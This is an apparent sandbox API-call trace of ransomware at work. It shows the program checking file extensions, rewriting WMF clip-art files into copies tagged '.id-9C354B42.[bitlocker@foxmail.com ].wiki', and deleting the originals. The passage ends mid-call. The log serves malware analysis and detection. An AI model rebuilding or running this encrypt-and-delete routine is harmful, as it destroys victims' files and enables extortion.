[0197.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF") returned 63 [0197.247] lstrlenW (lpString=".1cd") returned 4 [0197.247] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF") returned 63 [0197.247] lstrlenW (lpString=".jpg") returned 4 [0197.247] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.247] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0197.247] lstrlenW (lpString="J0152690.WMF") returned 12 [0197.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0197.248] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1268) returned 1 [0197.248] CloseHandle (hObject=0x1cc) returned 1 [0197.248] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf")) returned 0x20 [0197.248] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0197.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0197.248] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0197.248] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0197.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0197.249] GetLastError () returned 0x0 [0197.249] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x4f4, lpOverlapped=0x0) returned 1 [0197.250] WriteFile (in: hFile=0x1f0, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x500, lpOverlapped=0x0) returned 1 [0197.257] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0197.257] WriteFile (in: hFile=0x1f0, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0197.257] SetEndOfFile (hFile=0x1f0) returned 1 [0197.257] CloseHandle (hObject=0x1f0) returned 1 [0197.257] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0197.257] SetEndOfFile (hFile=0x1cc) returned 1 [0197.258] CloseHandle (hObject=0x1cc) returned 1 [0197.258] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0197.258] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf")) returned 1 [0197.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF") returned 63 [0197.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF") returned 63 [0197.259] lstrlenW (lpString=".doc") returned 4 [0197.259] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.259] lstrlenW (lpString=".docx") returned 5 [0197.259] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0197.259] lstrlenW (lpString=".pdf") returned 4 [0197.259] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.259] lstrlenW (lpString=".xls") returned 4 [0197.259] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.259] lstrlenW (lpString=".xlsx") returned 5 [0197.259] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0197.259] lstrlenW (lpString=".ppt") returned 4 [0197.259] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF") returned 63 [0197.259] lstrlenW (lpString=".zip") returned 4 [0197.259] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.259] lstrlenW (lpString=".rar") returned 4 [0197.259] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.259] lstrlenW (lpString=".bz2") returned 4 [0197.259] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.259] lstrlenW (lpString=".7z") returned 3 [0197.259] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF") returned 63 [0197.259] lstrlenW (lpString=".dbf") returned 4 [0197.259] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF") returned 63 [0197.260] lstrlenW (lpString=".1cd") returned 4 [0197.260] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF") returned 63 [0197.260] lstrlenW (lpString=".jpg") returned 4 [0197.260] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF") returned 63 [0197.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF") returned 63 [0197.260] lstrlenW (lpString=".doc") returned 4 [0197.260] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.260] lstrlenW (lpString=".docx") returned 5 [0197.260] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0197.260] lstrlenW (lpString=".pdf") returned 4 [0197.260] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.260] lstrlenW (lpString=".xls") returned 4 [0197.260] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.260] lstrlenW (lpString=".xlsx") returned 5 [0197.260] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0197.260] lstrlenW (lpString=".ppt") returned 4 [0197.260] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF") returned 63 [0197.260] lstrlenW (lpString=".zip") returned 4 [0197.260] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.260] lstrlenW (lpString=".rar") returned 4 [0197.260] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.260] lstrlenW (lpString=".bz2") returned 4 [0197.260] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.260] lstrlenW (lpString=".7z") returned 3 [0197.260] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF") returned 63 [0197.261] lstrlenW (lpString=".dbf") returned 4 [0197.261] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF") returned 63 [0197.261] lstrlenW (lpString=".1cd") returned 4 [0197.261] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF") returned 63 [0197.261] lstrlenW (lpString=".jpg") returned 4 [0197.261] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.261] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0197.261] lstrlenW (lpString="J0152694.WMF") returned 12 [0197.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0197.262] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1348) returned 1 [0197.262] CloseHandle (hObject=0x1cc) returned 1 [0197.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf")) returned 0x20 [0197.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0197.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0197.262] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0197.262] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0197.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0197.263] GetLastError () returned 0x0 [0197.263] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x544, lpOverlapped=0x0) returned 1 [0197.264] WriteFile (in: hFile=0x1f0, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x550, lpOverlapped=0x0) returned 1 [0197.266] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0197.266] WriteFile (in: hFile=0x1f0, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0197.266] SetEndOfFile (hFile=0x1f0) returned 1 [0197.266] CloseHandle (hObject=0x1f0) returned 1 [0197.266] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0197.266] SetEndOfFile (hFile=0x1cc) returned 1 [0197.267] CloseHandle (hObject=0x1cc) returned 1 [0197.267] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0197.267] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf")) returned 1 [0197.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF") returned 63 [0197.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF") returned 63 [0197.267] lstrlenW (lpString=".doc") returned 4 [0197.267] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.267] lstrlenW (lpString=".docx") returned 5 [0197.267] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0197.268] lstrlenW (lpString=".pdf") returned 4 [0197.268] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.268] lstrlenW (lpString=".xls") returned 4 [0197.268] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.268] lstrlenW (lpString=".xlsx") returned 5 [0197.268] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0197.268] lstrlenW (lpString=".ppt") returned 4 [0197.268] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF") returned 63 [0197.268] lstrlenW (lpString=".zip") returned 4 [0197.268] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.268] lstrlenW (lpString=".rar") returned 4 [0197.268] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.268] lstrlenW (lpString=".bz2") returned 4 [0197.268] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.268] lstrlenW (lpString=".7z") returned 3 [0197.268] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF") returned 63 [0197.268] lstrlenW (lpString=".dbf") returned 4 [0197.268] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF") returned 63 [0197.268] lstrlenW (lpString=".1cd") returned 4 [0197.268] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF") returned 63 [0197.268] lstrlenW (lpString=".jpg") returned 4 [0197.268] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF") returned 63 [0197.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF") returned 63 [0197.268] lstrlenW (lpString=".doc") returned 4 [0197.268] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.269] lstrlenW (lpString=".docx") returned 5 [0197.269] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0197.269] lstrlenW (lpString=".pdf") returned 4 [0197.269] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.269] lstrlenW (lpString=".xls") returned 4 [0197.269] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.269] lstrlenW (lpString=".xlsx") returned 5 [0197.269] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0197.269] lstrlenW (lpString=".ppt") returned 4 [0197.269] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF") returned 63 [0197.269] lstrlenW (lpString=".zip") returned 4 [0197.269] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.269] lstrlenW (lpString=".rar") returned 4 [0197.269] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.269] lstrlenW (lpString=".bz2") returned 4 [0197.269] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.269] lstrlenW (lpString=".7z") returned 3 [0197.269] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF") returned 63 [0197.269] lstrlenW (lpString=".dbf") returned 4 [0197.269] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF") returned 63 [0197.269] lstrlenW (lpString=".1cd") returned 4 [0197.269] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF") returned 63 [0197.269] lstrlenW (lpString=".jpg") returned 4 [0197.269] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.270] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0197.270] lstrlenW (lpString="J0152696.WMF") returned 12 [0197.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0197.270] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=7320) returned 1 [0197.270] CloseHandle (hObject=0x1cc) returned 1 [0197.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf")) returned 0x20 [0197.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0197.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0197.270] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0197.270] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0197.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0197.271] GetLastError () returned 0x0 [0197.271] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x1c98, lpOverlapped=0x0) returned 1 [0197.273] WriteFile (in: hFile=0x1f0, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x1ca0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x1ca0, lpOverlapped=0x0) returned 1 [0197.274] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0197.274] WriteFile (in: hFile=0x1f0, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0197.274] SetEndOfFile (hFile=0x1f0) returned 1 [0197.274] CloseHandle (hObject=0x1f0) returned 1 [0197.274] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0197.274] SetEndOfFile (hFile=0x1cc) returned 1 [0197.275] CloseHandle (hObject=0x1cc) returned 1 [0197.275] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0197.275] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf")) returned 1 [0197.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF") returned 63 [0197.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF") returned 63 [0197.275] lstrlenW (lpString=".doc") returned 4 [0197.275] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.275] lstrlenW (lpString=".docx") returned 5 [0197.275] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0197.275] lstrlenW (lpString=".pdf") returned 4 [0197.275] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.276] lstrlenW (lpString=".xls") returned 4 [0197.276] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.276] lstrlenW (lpString=".xlsx") returned 5 [0197.276] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0197.276] lstrlenW (lpString=".ppt") returned 4 [0197.276] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF") returned 63 [0197.276] lstrlenW (lpString=".zip") returned 4 [0197.276] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.276] lstrlenW (lpString=".rar") returned 4 [0197.276] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.276] lstrlenW (lpString=".bz2") returned 4 [0197.276] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.276] lstrlenW (lpString=".7z") returned 3 [0197.276] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF") returned 63 [0197.276] lstrlenW (lpString=".dbf") returned 4 [0197.276] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF") returned 63 [0197.276] lstrlenW (lpString=".1cd") returned 4 [0197.276] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF") returned 63 [0197.276] lstrlenW (lpString=".jpg") returned 4 [0197.276] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF") returned 63 [0197.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF") returned 63 [0197.276] lstrlenW (lpString=".doc") returned 4 [0197.508] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.510] lstrlenW (lpString=".docx") returned 5 [0197.510] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0197.510] lstrlenW (lpString=".pdf") returned 4 [0197.510] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.510] lstrlenW (lpString=".xls") returned 4 [0197.515] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.515] lstrlenW (lpString=".xlsx") returned 5 [0197.519] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0197.522] lstrlenW (lpString=".ppt") returned 4 [0197.531] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF") returned 63 [0197.532] lstrlenW (lpString=".zip") returned 4 [0197.532] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.533] lstrlenW (lpString=".rar") returned 4 [0197.539] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.540] lstrlenW (lpString=".bz2") returned 4 [0197.540] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.540] lstrlenW (lpString=".7z") returned 3 [0197.540] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF") returned 63 [0197.544] lstrlenW (lpString=".dbf") returned 4 [0198.194] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF") returned 63 [0198.194] lstrlenW (lpString=".1cd") returned 4 [0198.194] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF") returned 63 [0198.194] lstrlenW (lpString=".jpg") returned 4 [0198.194] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.194] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0198.195] lstrlenW (lpString="J0152882.WMF") returned 12 [0198.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf"), 